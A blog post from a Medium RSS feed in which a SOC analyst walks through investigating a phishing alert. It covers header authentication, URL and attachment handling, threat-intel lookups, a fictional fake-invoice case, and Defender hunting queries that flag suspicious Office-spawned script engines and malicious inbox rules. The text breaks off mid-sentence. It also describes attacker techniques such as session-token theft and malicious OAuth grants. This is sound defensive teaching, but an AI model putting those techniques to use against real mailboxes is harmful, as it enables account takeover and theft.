<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anshika on Medium]]></title>
        <description><![CDATA[Stories by Anshika on Medium]]></description>
        <link>https://medium.com/@z6157881?source=rss-acba0c2255fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FAALiY_JGF18F-MNhUiKew.jpeg</url>
            <title>Stories by Anshika on Medium</title>
            <link>https://medium.com/@z6157881?source=rss-acba0c2255fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:02:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@z6157881/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Alert to Verdict: How I Investigate a Phishing Email]]></title>
            <link>https://medium.com/@z6157881/from-alert-to-verdict-how-i-investigate-a-phishing-email-16c19214ad51?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/16c19214ad51</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[email-security]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 22:01:11 GMT</pubDate>
            <atom:updated>2026-10-16T22:01:11.726Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>It’s been about a year and a half since I last wrote a technical walkthrough.</p><p>Back then, most of my posts revolved around penetration testing: exploiting VulnHub machines, solving Hack The Box challenges, and configuring networks in Packet Tracer. The objective was usually straightforward: enumerate, identify vulnerabilities, exploit them, and document the path.</p><p>Things look a little different now.</p><p>Working in a Security Operations Center (SOC), the objective isn’t to exploit a system. It’s to understand what triggered an alert, investigate the available evidence, determine whether the activity is malicious, and establish what needs to happen next.</p><p>One alert category that makes this process particularly interesting is <strong>phishing</strong>.</p><p>An email can look suspicious but turn out to be legitimate. A security platform can flag a message as high-severity phishing, yet the investigation may reveal an authorized security-awareness simulation. On the other hand, an email that initially appears harmless can lead to credential theft, malicious downloads, or endpoint compromise.</p><p>So, how do we move from an alert to a defensible verdict?</p><p>In this walkthrough, I’ll cover my approach to investigating a phishing alert, from initial triage and email-header analysis to URL and attachment analysis, threat intelligence, campaign correlation, and in-depth investigation. We’ll also look at the possible investigation outcomes: benign activity, confirmed or suspected malicious activity, and cases where the available evidence is inconclusive.</p><p>The objective isn’t simply to label an email as phishing. It’s to understand the evidence, determine the scope, assess the potential impact, and make the right response decision.</p><p>Let’s get into it.</p><h3>The Investigation at a Glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*H0VGWNHPkrMCoidABaZeMA.png" /></figure><p>The investigation follows a simple principle: start with the alert, collect evidence, connect the findings, and reach a verdict based on what the evidence supports.</p><p>The steps aren’t always strictly linear. For example, finding a suspicious URL may lead you back to the email headers or prompt you to search for related messages. An investigation is an iterative process, not just a checklist.</p><h3>Key Terms (Quick Glossary)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*scV3c9SEM3uHr03JvaQs7w.png" /></figure><p>These terms will come up throughout the investigation. You don’t need to memorize every technical detail before getting started; the important thing is understanding what each piece of evidence can and cannot tell you.</p><h3>Table of Contents</h3><ol><li>Understanding the Phishing Alert</li><li>Initial Triage</li><li>Email Header Analysis</li><li>Reviewing the Security Platform’s Verdict</li><li>URL Analysis</li><li>Attachment Analysis</li><li>Threat Intelligence and OSINT</li><li>Campaign Scoping</li><li>L2 Investigation: What Happened After Delivery?</li><li>Reaching the Final Verdict</li><li>Worked Example: A Fake Invoice</li><li>Documenting the Investigation</li><li>Investigation Checklist</li><li>Common Mistakes</li><li>Conclusion</li></ol><h3>1. Understanding the Phishing Alert</h3><p>Every investigation starts with a reason.</p><p>A phishing alert may come from an email security platform, a SIEM correlation rule, a user report, or another detection source. Before investigating the email itself, I first establish what triggered the alert and what the security tool actually observed.</p><p>I start by reviewing the available alert details:</p><ul><li><strong>Alert name and severity:</strong> What detection was triggered?</li><li><strong>Sender and recipient:</strong> Who sent the email, and who received it?</li><li><strong>Subject and timestamp:</strong> What was the email about, and when was it received?</li><li><strong>Message ID:</strong> Can I use this identifier to locate the exact email across available systems?</li><li><strong>Delivery status:</strong> Was the email delivered, quarantined, rejected, or otherwise handled?</li><li><strong>Detection details:</strong> What specifically caused the email to be flagged?</li><li><strong>Available indicators:</strong> Are there URLs, attachments, hashes, or other suspicious artifacts?</li></ul><p>I also check whether the recipient interacted with the message, if that information is available.</p><p>Receiving an email, opening it, clicking a link, entering credentials, and opening an attachment are different events. They should not be treated as interchangeable.</p><p>For example, an email being delivered to an inbox establishes exposure, but it does not establish that the recipient clicked a link or that the device was compromised.</p><p><strong>The objective at this stage is to define what happened, what is known, and what still needs to be verified.</strong></p><h3>How urgent is this?</h3><p>Not every alert deserves the same speed. Before going deep, I make a quick priority call. The exact severity levels and SLAs come from your organization’s procedures, but the factors are fairly universal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*FmoSewkXnB47zk6KlTUZ3g.png" /></figure><p>A delivered email with a confirmed click and a possible credential submission goes to the front of the queue. A quarantined message with no recipients exposed can wait its turn. If you’re unsure, escalate early rather than sitting on a possible compromise.</p><h3>2. Initial Triage</h3><p>Once I understand the alert, I perform an initial review of the email’s contents and context.</p><p>I look at:</p><ul><li>The display name and actual sender address.</li><li>The subject line and message body.</li><li>The stated purpose of the email.</li><li>Any requests for urgent action, payment, credentials, or sensitive information.</li><li>Links, shortened URLs, QR codes, and attachments.</li><li>Unexpected communication or unusual requests.</li><li>Any mismatch between the sender’s identity and the email’s actual content.</li></ul><p>Phishing emails often use urgency, authority, curiosity, or fear to encourage recipients to act without checking the details.</p><p>However, suspicious wording alone isn’t enough to prove an email is malicious. Legitimate emails can be poorly written, unexpected, or urgent. Likewise, a professionally written email can still be malicious.</p><p>I treat these observations as investigative clues rather than a final verdict.</p><p>At this point, I want to understand the email’s apparent purpose and identify the artifacts that need deeper analysis.</p><h3>Not every phishing email looks the same</h3><p>The checklist above assumes a link or an attachment. Three common variants break that assumption:</p><ul><li><strong>Business Email Compromise (BEC):</strong> There may be no link, no attachment, and no malware. A message that appears to come from an executive or vendor asks for a payment, a gift card purchase, or a change of bank details. Authentication can even pass if the attacker is using a genuinely compromised mailbox. Here the evidence is the request itself, the sender history, reply-to mismatches, and out-of-band verification, not a URL or hash.</li><li><strong>QR code phishing (“quishing”):</strong> The malicious URL is embedded in an image, so text-based URL extraction finds nothing. I decode the QR code in a safe environment, then analyze the resulting URL like any other. These emails are often designed to push the victim onto a personal phone, which sits outside corporate web protection.</li><li><strong>Adversary-in-the-Middle (AiTM) token theft:</strong> The victim lands on a proxy of the real login page, signs in, and completes MFA, and the attacker captures the session token. The user did everything “right,” yet the account is compromised. The giveaway is usually in identity logs: a successful sign-in with MFA satisfied from an unfamiliar IP, device, or location shortly after a click. If this is suspected, the response typically includes revoking sessions, resetting credentials, and reviewing registered MFA methods.</li></ul><h3>3. Email Header Analysis</h3><p>The email body shows what the recipient sees. The email headers provide additional information about how the message was addressed, authenticated, and routed.</p><p>Headers can help identify sender spoofing, authentication failures, unusual routing, and inconsistencies between the visible sender and the infrastructure involved in sending the message.</p><p>Some useful fields include:</p><p>Header What it helps establish:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*P6Fr8fKJneGKUGA6uVK1LQ.png" /></figure><h3>Checking SPF, DKIM, and DMARC</h3><p>I review the available authentication results to understand whether the message passed the relevant checks.</p><p><strong>SPF</strong> checks whether the sending server is authorized for the relevant envelope-sender domain.</p><p><strong>DKIM</strong> verifies a cryptographic signature associated with the signing domain and the portions of the message covered by that signature.</p><p><strong>DMARC</strong> checks whether SPF or DKIM passes with the required alignment to the domain shown in the visible From address. It also lets a domain owner publish a policy for handling messages that fail DMARC.</p><p>An important distinction: <strong>DMARC can pass when either aligned SPF or aligned DKIM passes.</strong> Seeing one authentication mechanism pass does not automatically mean DMARC must pass.</p><p>A legitimate service can send a malicious message through a compromised account. A phishing message may also pass authentication when sent through an authorized but compromised service. Conversely, legitimate messages can fail authentication because of forwarding or configuration issues.</p><p>I correlate the header findings with the sender identity, message content, URLs, attachments, and security platform verdict.</p><p>For manual analysis, these tools can help:</p><ul><li><a href="https://toolbox.googleapps.com/apps/messageheader/">Google Admin Toolbox Messageheader</a></li><li><a href="https://mxtoolbox.com/EmailHeaders.aspx">MXToolbox Email Header Analyzer</a></li></ul><p>Only submit headers to external services if doing so is permitted by your organization’s policies.</p><h3>What this looks like in a real header</h3><p>Here is a sanitized example (domains use reserved or fictional names):</p><pre>Authentication-Results: spf=pass (sender IP is 198.51.100.6)<br>  smtp.mailfrom=bounce.mailer-example.net;<br>  dkim=none (message not signed);<br>  dmarc=fail action=quarantine header.from=contosey-billing.com;<br>From: &quot;Accounts Payable&quot; &lt;billing@contosey-billing.com&gt;<br>Return-Path: &lt;bounce@bounce.mailer-example.net&gt;<br>Reply-To: &lt;pay@contosey-billing-support.com&gt;</pre><p>How I read it:</p><ul><li><strong>spf=pass</strong> looks reassuring, but SPF passed for bounce.mailer-example.net, the envelope domain, not for contosey-billing.com, the domain the recipient sees. The two domains don&#39;t align.</li><li><strong>dkim=none</strong> means there was no signature to align with the From domain either.</li><li>Because neither SPF nor DKIM passed <em>with alignment</em>, <strong>dmarc=fail</strong>. This is the line that matters most here.</li><li>The <strong>Reply-To</strong> points to a third, different domain. That is another inconsistency worth recording.</li></ul><p>This example shows why “SPF passed” is never a verdict on its own. One passing mechanism can sit right next to a failing DMARC result.</p><p>Authentication results are useful evidence, but they don’t independently establish whether an email is safe.</p><p>A legitimate service can send a malicious message through a compromised account. A phishing message may also pass authentication when sent through an authorized but compromised service. Conversely, legitimate messages can fail authentication because of forwarding or configuration issues.</p><p>I correlate the header findings with the sender identity, message content, URLs, attachments, and security platform verdict.</p><h3>4. Reviewing the Security Platform’s Verdict</h3><p>Next, I review what the email security platform detected and how it handled the message.</p><p>Depending on the environment, this may involve Microsoft Defender for Office 365, Exchange Online Protection, or another email security solution.</p><p>I look for:</p><ul><li>The detection category and severity.</li><li>The reasons or indicators behind the detection.</li><li>The delivery action taken.</li><li>Whether a policy, allowlist, or other configuration affected the outcome.</li><li>Whether the message’s verdict changed after delivery.</li><li>Whether related alerts or investigation records exist.</li></ul><p>A key distinction is that <strong>the detection verdict, delivery decision, and final investigation verdict are three different things.</strong></p><p>For example, a platform may identify an email as phishing but still report it as delivered because of a policy configuration or another delivery-related condition. That discrepancy needs investigation; it doesn’t automatically mean the platform failed to detect the threat.</p><p>Similarly, an email marked as suspicious by one tool may require further analysis before I can confidently classify it as malicious.</p><p>I compare the platform’s reasoning with the evidence collected so far. I don’t simply copy the detection label into the final investigation comment.</p><h3>5. URL Analysis</h3><p>Links are one of the most important artifacts to examine in a phishing investigation.</p><p>A message may contain a link that appears legitimate but redirects to an unrelated website, a credential-harvesting page, or another suspicious destination.</p><p>I begin by extracting the URLs from the email, including links hidden behind descriptive text or embedded in HTML. If relevant, I also check QR codes and shortened URLs.</p><p>For each URL, I consider:</p><ul><li>The displayed link versus the actual destination.</li><li>The domain and subdomain structure.</li><li>Whether the URL contains unusual paths or parameters.</li><li>Reputation results from available security sources.</li><li>Redirect chains and the final destination.</li><li>Whether the destination matches the email’s claimed purpose.</li><li>Any relevant detections or observed behavior.</li></ul><p>A link containing a familiar brand name isn’t automatically legitimate. Attackers can use lookalike domains, misleading subdomains, URL shorteners, and compromised legitimate websites.</p><p>I also avoid assuming that a URL is safe simply because no reputation service flags it. New or targeted infrastructure may not have been reported yet.</p><h3>Safe handling matters</h3><p>I don’t casually open suspicious links on my work device or enter credentials to see what happens.</p><p>Where authorized, I use safe analysis environments and tools to inspect the URL without unnecessarily exposing systems or accounts.</p><p>A redirect to a suspicious page is useful evidence. However, a redirect by itself doesn’t prove that malware executed or that a device was compromised.</p><p>The findings should be correlated with other evidence before drawing a conclusion.</p><h3>6. Attachment Analysis</h3><p>Attachments require a similar evidence-based approach.</p><p>A file may appear harmless based on its name or extension but contain content or behavior that deserves further investigation. PDFs, Office documents, archives, scripts, and executables can all appear in phishing investigations.</p><p>I start with basic file details:</p><ul><li>Filename and file type.</li><li>File size and, where available, metadata.</li><li>Cryptographic hash, such as SHA-256.</li><li>Reputation results for the hash.</li><li>Security platform detections.</li><li>Any suspicious embedded links, scripts, or other content.</li></ul><h3>Static analysis</h3><p>Static analysis examines a file without executing it.</p><p>Depending on the file type and available tools, this may include inspecting metadata, extracting strings, identifying embedded URLs, reviewing document structure, or checking for suspicious content.</p><p>For example, a PDF may contain a link to an external website. Finding the link establishes that the URL is present in the document; it does not establish that the link was clicked.</p><h3>Dynamic analysis</h3><p>Dynamic analysis involves observing a file’s behavior in an appropriate isolated environment, such as an approved malware-analysis sandbox.</p><p>This may reveal network requests, child processes, file changes, or other behavior that cannot be established through static inspection alone.</p><p>Suppose a PDF opened in a sandbox causes a browser to navigate to an external website. That is a behavioral observation worth recording. It does <strong>not</strong>, by itself, prove that the PDF executed malware.</p><p>The conclusion depends on the actual evidence collected: what process started, what activity occurred, whether security detections were triggered, and whether the observed behavior can be attributed to the file.</p><h3>Interpreting reputation results</h3><p>A file with a known malicious hash can provide strong supporting evidence. But a file with no detections isn’t automatically clean.</p><p>The file may be new, uncommon, modified, or simply absent from the reputation database.</p><p>I correlate hash reputation, file structure, observed behavior, and the original email context before deciding what the attachment means for the investigation.</p><p><strong>Never execute a suspicious attachment on your regular workstation.</strong> Use only safe analysis environments.</p><h3>7. Threat Intelligence and OSINT</h3><p>Threat intelligence and open-source intelligence (OSINT) can help enrich an investigation by providing context about domains, URLs, IP addresses, file hashes, and observed attacker infrastructure.</p><p>These services are useful starting points:</p><ul><li><a href="https://www.virustotal.com/">VirusTotal</a> — Review reputation and detections for files, URLs, domains, and IP addresses.</li><li><a href="https://talosintelligence.com/reputation_center/">Cisco Talos Intelligence</a> — Check reputation information for IP addresses, domains, and other supported indicators.</li><li><a href="https://urlhaus.abuse.ch/">URLhaus</a> — Look for URLs associated with malware distribution.</li><li><a href="https://urlscan.io/">urlscan.io</a> — Review website scans, page behavior, and related network requests where available.</li><li><a href="https://any.run/">ANY.RUN</a> — Explore interactive sandbox analysis and observed behavior.</li><li><a href="https://www.hybrid-analysis.com/">Hybrid Analysis</a> — Review available malware-analysis reports and sandbox results.</li><li><a href="https://learn.microsoft.com/en-us/defender-office-365/threat-explorer-threat-hunting">Microsoft Threat Explorer documentation</a> — Learn how to investigate email-related threats using Microsoft Defender for Office 365.</li></ul><h3>How I use these tools</h3><p>I don’t just search for an indicator and copy the result. I want to understand what the result means and how it relates to the current email.</p><p>For example, if an email contains a suspicious URL, I might:</p><ol><li>Search the URL or domain in available reputation services.</li><li>Review whether detections exist and what they describe.</li><li>Check when the data was reported or observed, where that information is available.</li><li>Compare the results with the email’s sender, content, and other indicators.</li><li>Record the source and relevant findings for the investigation.</li></ol><p>I interpret reputation data cautiously. Different services may use different detection methods, datasets, and update schedules. Results may be incomplete, stale, or contradictory.</p><p>A clean result does not prove an indicator is benign, and a single community report may need additional validation.</p><p>There is also an important privacy distinction between <strong>looking up an existing public indicator and uploading a file or URL for analysis</strong>. Submitting an artifact may expose it to the service provider, researchers, or other users, depending on the service and its settings.</p><p>Before submitting corporate files, email content, internal URLs, or other sensitive artifacts, I check organizational policy and the service’s data-handling terms. I use approved internal tools when public submission is not permitted.</p><p>Threat intelligence should strengthen an investigation, not replace it.</p><h3>8. Campaign Scoping: Who Else Received It?</h3><p>Once I have examined the message and its indicators, I look for related emails.</p><p>A phishing email rarely needs to be investigated in isolation. The same sender, subject, URL, attachment hash, or message pattern may appear in other messages.</p><p>Where access permits, I search the email environment using available identifiers, such as:</p><ul><li>Message ID.</li><li>Sender address and domain.</li><li>Subject line.</li><li>URL or domain.</li><li>Attachment hash or filename.</li><li>Similar message content or related indicators.</li></ul><p>The objective is to establish whether the email affected only one recipient or was part of a broader campaign.</p><p>I also check the available delivery status for related messages. Depending on the platform and permissions, I may be able to identify messages delivered to inboxes, quarantined, or otherwise blocked.</p><p>These findings help determine the scope of exposure and support decisions about whether additional response actions may be necessary.</p><p>However, I avoid assuming that every message sharing a sender or subject is malicious. Shared indicators need to be evaluated in context, particularly when legitimate services or shared infrastructure are involved.</p><p>Campaign scoping turns a single-email investigation into an understanding of the wider potential impact.</p><h3>Example: scoping with Defender Advanced Hunting</h3><p>In Microsoft Defender XDR, Advanced Hunting lets you search by the indicators you already have. Table and column names can differ between environments and licenses, so treat these as starting points to adapt.</p><p>Find every recipient of messages containing a suspicious domain, and what happened to each message:</p><pre>EmailUrlInfo<br>| where UrlDomain =~ &quot;evil-example.com&quot;<br>| join kind=inner EmailEvents on NetworkMessageId<br>| project Timestamp, SenderFromAddress, RecipientEmailAddress, Subject,<br>          Url, DeliveryAction, DeliveryLocation<br>| order by Timestamp desc</pre><p>Find messages carrying a known attachment hash:</p><pre>EmailAttachmentInfo<br>| where SHA256 == &quot;&lt;attachment sha256&gt;&quot;<br>| join kind=inner EmailEvents on NetworkMessageId<br>| project Timestamp, SenderFromAddress, RecipientEmailAddress, FileName,<br>          DeliveryAction, DeliveryLocation</pre><p>The DeliveryAction and DeliveryLocation columns separate recipients who actually had the email in an inbox from those protected by quarantine or blocking, which is exactly the exposure question this section is about.</p><h3>9. L2 Investigation: What Happened After Delivery?</h3><p>If the email was delivered, I need to understand whether the recipient or endpoint showed signs of interaction or compromise.</p><p>The exact investigation depends on available telemetry, tool access, and organizational procedures. Some of these checks may require escalation to an L2 analyst, incident responder, or identity security team.</p><h3>Email and user activity</h3><p>I will look for available evidence of:</p><ul><li>Whether the recipient clicked a link.</li><li>Whether the destination was reached.</li><li>Whether credentials were submitted, if this can be established through authorized telemetry.</li><li>Whether an attachment was downloaded or opened.</li><li>Whether the message was reported by the recipient.</li><li>Whether the email was subsequently quarantined or removed.</li></ul><p>The absence of a recorded click does not necessarily prove that no interaction occurred. Logging coverage, retention, and visibility may be limited.</p><p>An example click check in Defender Advanced Hunting:</p><pre>UrlClickEvents<br>| where Timestamp &gt; ago(7d)<br>| where Url has &quot;evil-example.com&quot;<br>| project Timestamp, AccountUpn, Url, ActionType, IsClickedThrough, NetworkMessageId</pre><p>Note that Safe Links click data only exists if the click went through a protected link, which is one reason the earlier rule holds: no recorded click is not proof of no click.</p><h3>Identity investigation</h3><p>If there is evidence that credentials may have been entered, I review relevant identity telemetry where authorized.</p><p>This may include:</p><ul><li>Sign-in events around the time of the interaction.</li><li>Unusual IP addresses, locations, or devices.</li><li>Authentication failures or unexpected successful sign-ins.</li><li>Suspicious session activity.</li><li>Relevant changes to account settings or authentication methods.</li></ul><p>A suspicious sign-in should be evaluated against the user’s normal activity and other available evidence. An unusual location alone is not sufficient to confirm account compromise.</p><p><strong>What to actually look at in Microsoft Entra ID sign-in logs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9onQY8cqHmGqKjan_IR1w.png" /></figure><p>Signs that often follow a successful phishing compromise, which I check even when the sign-in itself looks plausible:</p><ul><li><strong>Inbox rule creation:</strong> Rules that auto-forward mail externally, delete messages, or move security or finance emails to obscure folders. Attackers use these to hide replies and monitor the mailbox.</li><li><strong>New MFA methods:</strong> An unfamiliar phone number or authenticator registered shortly after the suspicious sign-in.</li><li><strong>OAuth consent grants:</strong> The user approves a malicious app that retains mailbox or file access even after a password reset.</li><li><strong>Mailbox delegation or forwarding changes:</strong> Silent ways to keep access.</li><li><strong>Outbound mail from the account:</strong> Internal phishing sent to colleagues from a trusted address.</li></ul><p>An example hunt for inbox rule changes:</p><pre>CloudAppEvents<br>| where Timestamp &gt; ago(7d)<br>| where ActionType in (<br>    &quot;New-InboxRule&quot;,<br>    &quot;Set-InboxRule&quot;,<br>    &quot;UpdateInboxRules&quot;<br>)<br>| where AccountObjectId == &quot;&lt;user object id&gt;&quot;<br>| where Application == &quot;Microsoft Exchange Online&quot;<br>| project Timestamp, AccountObjectId, ActionType,<br>          IPAddress, RawEventData<br>| order by Timestamp desc</pre><h3>Endpoint investigation</h3><p>If an attachment was opened or a suspicious URL was visited, I review relevant endpoint telemetry where available.</p><p>This may include:</p><ul><li>Process creation and parent-child relationships.</li><li>Command-line activity.</li><li>Browser or document-reader activity.</li><li>File creation or modification.</li><li>Network connections.</li><li>EDR detections and related alerts.</li><li>Other activity around the time of the suspected interaction.</li></ul><p>For example, a document-reader process launching an unexpected scripting engine may deserve closer investigation. The process relationship is a clue, not a complete verdict on its own.</p><p><strong>Parent-child process examples worth a closer look</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZ1ynj92qhRKIpFjHwSt1A.png" /></figure><p>An example hunt:</p><pre>DeviceProcessEvents<br>| where Timestamp &gt; ago(24h)<br>| where InitiatingProcessFileName in~ (&quot;AcroRd32.exe&quot;, &quot;Acrobat.exe&quot;, &quot;WINWORD.EXE&quot;, &quot;EXCEL.EXE&quot;)<br>| where FileName in~ (&quot;powershell.exe&quot;, &quot;cmd.exe&quot;, &quot;wscript.exe&quot;, &quot;mshta.exe&quot;)<br>| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,<br>          FileName, ProcessCommandLine</pre><p>Because legitimate software and admin tooling can produce similar chains, I always read the command line, the user’s role, and what happened next before calling it malicious.</p><h3>Assessing impact and response</h3><p>The objective is to establish what happened after delivery and whether there is evidence of impact.</p><p>Depending on the findings, appropriate actions may include requesting email removal, blocking confirmed malicious indicators, escalating a suspected identity compromise, or following the organization’s endpoint containment procedure.</p><p>These actions should be evidence-based, authorized, and consistent with the organization’s incident-response process. As an analyst, I distinguish between identifying a recommended action and having the authority to execute it.</p><p>If telemetry is unavailable, I document that limitation rather than claiming that no suspicious activity occurred.</p><h3>10. Reaching the Final Verdict</h3><p>After collecting the available evidence, I correlate the findings and decide which conclusion is supported.</p><p>I generally think in terms of three outcomes:</p><h3>Benign</h3><p>The available evidence supports a legitimate explanation, or the message is confirmed to be an authorized simulation or other expected activity.</p><p>For example, a verified internal phishing simulation may be correctly detected by the security platform. That does not automatically make the detection a false positive.</p><p>The investigation outcome should reflect the actual activity and the organization’s closure codes. A simulation may be classified as an authorized simulation or benign activity, depending on internal procedures.</p><p>If the simulation cannot be verified, I document the validation gap and seek confirmation through the appropriate channel rather than assuming it is legitimate.</p><h3>Malicious</h3><p>The collected evidence supports a malicious classification.</p><p>This could include a confirmed credential-harvesting URL, a malicious attachment supported by reliable analysis, or a phishing campaign corroborated by multiple indicators.</p><p>I document the evidence behind the verdict and identify any known exposure or impact.</p><h3>Inconclusive</h3><p>The available evidence is insufficient to confidently classify the message.</p><p>This may happen when a required log is unavailable, a campaign cannot be verified, a URL is no longer accessible, or reputation sources provide conflicting results.</p><p>An inconclusive verdict is not a failed investigation. It is an honest statement about the limits of the available evidence.</p><p>I record what was confirmed, what remains unknown, and what additional evidence or validation is needed.</p><p>The important part is not forcing every alert into a simple yes-or-no answer. It’s reaching the most defensible conclusion possible.</p><h3>11. Worked Example: A Fake Invoice</h3><p><em>This is a fictional, sanitized case.</em></p><p><strong>The alert.</strong> A high-severity phishing alert fires for a message titled “Invoice #48213 — Payment Overdue” sent to one finance employee. Delivery status: delivered to inbox.</p><p><strong>Priority call.</strong> Delivered, finance recipient, possible credential theft: I treat this as high priority until proven otherwise.</p><p><strong>Triage.</strong> The sender display name is “Accounts Payable,” but the address is billing@contosey-billing.com, which is not our vendor&#39;s domain. The body pressures the recipient to “view the invoice” within 24 hours via a button.</p><p><strong>Headers.</strong> The header snippet is the one shown in Section 3: spf=pass for an unrelated bounce domain, dkim=none, and dmarc=fail. The Reply-To points to yet another domain. The authentication story is inconsistent with a real vendor.</p><p><strong>Platform verdict.</strong> The platform flagged the message as phishing, but a policy exception caused delivery to the inbox anyway. That discrepancy goes into the notes, to be raised with the email security team.</p><p><strong>URL analysis.</strong> The button links to https://invoices.contosey-billing.com.secure-docs.evil-example.com/view. The URL uses the domain evil-example.com. For this fictional example, assume threat intelligence confirms that the domain was recently registered. In a safe analysis environment, the link redirects twice and lands on a page imitating a Microsoft sign-in form.</p><p><strong>Threat intelligence.</strong> The domain has two community reports and a URL scanner capture showing the same fake login page. I note the sources and dates, and I note that the capture supports but does not by itself prove credential harvesting for this recipient.</p><p><strong>Campaign scoping.</strong> An Advanced Hunting search on the domain shows 14 recipients: 9 messages were quarantined, 5 were delivered to inboxes.</p><p><strong>After delivery.</strong> Click telemetry shows 2 of the 5 recipients clicked. For one of them, identity logs show a successful sign-in from an unfamiliar IP with MFA satisfied 11 minutes after the click, followed by creation of an inbox rule that moves messages containing “invoice” to an obscure folder. No endpoint activity was observed, since no attachment was involved.</p><p><strong>Verdict.</strong> <em>Malicious.</em> The email and linked page are supported by multiple indicators of phishing, including the authentication inconsistencies, threat-intelligence findings, and campaign evidence. For the first user, the unfamiliar successful sign-in and subsequent inbox-rule creation strongly suggest account compromise and warrant immediate investigation and response. However, the available evidence does not independently establish that the phishing click caused the sign-in. For the second clicker, credential submission remains unverified; I do not classify that user as compromised or assume they are safe.</p><p><strong>Actions (recommended, for the authorized team).</strong></p><ul><li>Request removal of the 5 delivered messages and block the domain.</li><li>Escalate the first user’s account as a suspected compromise: revoke sessions, reset credentials, remove the inbox rule, and review registered MFA methods.</li><li>Ask the second user whether they entered credentials, and watch their sign-ins.</li><li>Raise the policy exception that allowed delivery.</li></ul><p>Notice what this example does <em>not</em> claim: it doesn’t say the second user was compromised, and it doesn’t say they weren’t.</p><h3>12. Documenting the Investigation</h3><p>A good investigation should be understandable to another analyst without requiring them to repeat every step from scratch.</p><p>My documentation focuses on the alert, evidence, conclusion, and next action.</p><p>A useful investigation record includes:</p><ul><li><strong>Alert context:</strong> Detection name, timestamp, recipient, subject, and relevant identifiers.</li><li><strong>Email analysis:</strong> Header findings, authentication results, and notable inconsistencies.</li><li><strong>Security platform findings:</strong> Detection reason, delivery status, and relevant policy details.</li><li><strong>URL and attachment analysis:</strong> Indicators examined, tools used, and meaningful results.</li><li><strong>Threat intelligence:</strong> Relevant findings, sources, and any limitations.</li><li><strong>Campaign scope:</strong> Whether related emails or recipients were identified.</li><li><strong>Post-delivery activity:</strong> Available click, identity, and endpoint findings.</li><li><strong>Final verdict:</strong> Benign, malicious, or inconclusive, with supporting evidence.</li><li><strong>Recommended or completed actions:</strong> Clearly distinguish proposed actions from actions actually performed.</li></ul><p>I avoid writing conclusions that go beyond the evidence. For instance, if I only observed a suspicious redirect, I shouldn’t claim that malware executed. If I couldn’t verify whether credentials were submitted, I shouldn’t state that the account was compromised — or that it was definitely safe.</p><h3>13. Investigation Checklist</h3><p>Before closing a phishing investigation, I use a checklist to confirm that the important areas have been considered.</p><ul><li>Alert details and trigger understood.</li><li>Priority assessed (delivery, interaction, recipient role, scale).</li><li>Sender, recipient, subject, timestamp, and message identifiers reviewed.</li><li>Delivery status and security platform verdict checked.</li><li>Email headers and authentication results examined.</li><li>URLs and attachments assessed where applicable (including QR codes and lookalike domains).</li><li>Threat intelligence checked and interpreted in context.</li><li>Related messages searched for.</li><li>Post-delivery user, identity, or endpoint activity reviewed where relevant and available.</li><li>For identity cases: inbox rules, MFA changes, and OAuth consents checked.</li><li>Investigation scope and telemetry limitations documented.</li><li>Final verdict supported by evidence.</li><li>Recommended actions or completed actions clearly recorded.</li></ul><p>Not every case requires every possible analysis step. The checklist is a guide, not a reason to delay urgent response actions or perform unnecessary tests.</p><h3>14. Common Mistakes to Avoid</h3><p>A few mistakes can weaken an otherwise good investigation.</p><p><strong>Trusting one reputation result.</strong> A clean result doesn’t guarantee safety, and a single detection may need corroboration.</p><p><strong>Treating authentication as a safety verdict.</strong> SPF, DKIM, and DMARC provide authentication-related evidence; they don’t prove that the message’s content is benign.</p><p><strong>Confusing delivery with interaction.</strong> An email reaching the inbox doesn’t establish that the recipient clicked a link, entered credentials, or opened an attachment.</p><p><strong>Overstating sandbox findings.</strong> A redirect, network request, or unusual process is an observation that needs context. It is not automatically proof of malware execution.</p><p><strong>Ignoring campaign scope.</strong> Investigating one message without checking for related emails may leave other recipients exposed.</p><p><strong>Assuming missing telemetry means no activity occurred.</strong> If the required logs aren’t available, document the limitation.</p><p><strong>Calling an authorized simulation a false positive without validation.</strong> A detection can be technically correct even when the message is part of an approved exercise.</p><p><strong>Performing unauthorized response actions.</strong> Blocking indicators, deleting messages, disabling accounts, or isolating endpoints should follow approved procedures and the analyst’s authorization.</p><p><strong>Writing conclusions that exceed the evidence.</strong> Clear documentation distinguishes what was observed, what was inferred, and what remains unknown.</p><p><strong>Assuming MFA means the account is safe.</strong> AiTM phishing can capture session tokens after the user completes MFA, so a successful MFA sign-in from an unfamiliar device still needs scrutiny.</p><p><strong>Only looking for links and attachments.</strong> BEC and QR-based phishing may contain neither a clickable URL nor a file, so the investigation has to adapt.</p><h3>15. Conclusion</h3><p>A phishing alert is the starting point of an investigation, not the final answer.</p><p>The real work lies in connecting the evidence: understanding the detection, checking the email headers, examining URLs and attachments, using threat intelligence carefully, identifying related messages, and determining whether anything happened after delivery.</p><p>Not every case will provide a clear answer. Sometimes the evidence supports a malicious verdict. Sometimes it supports a 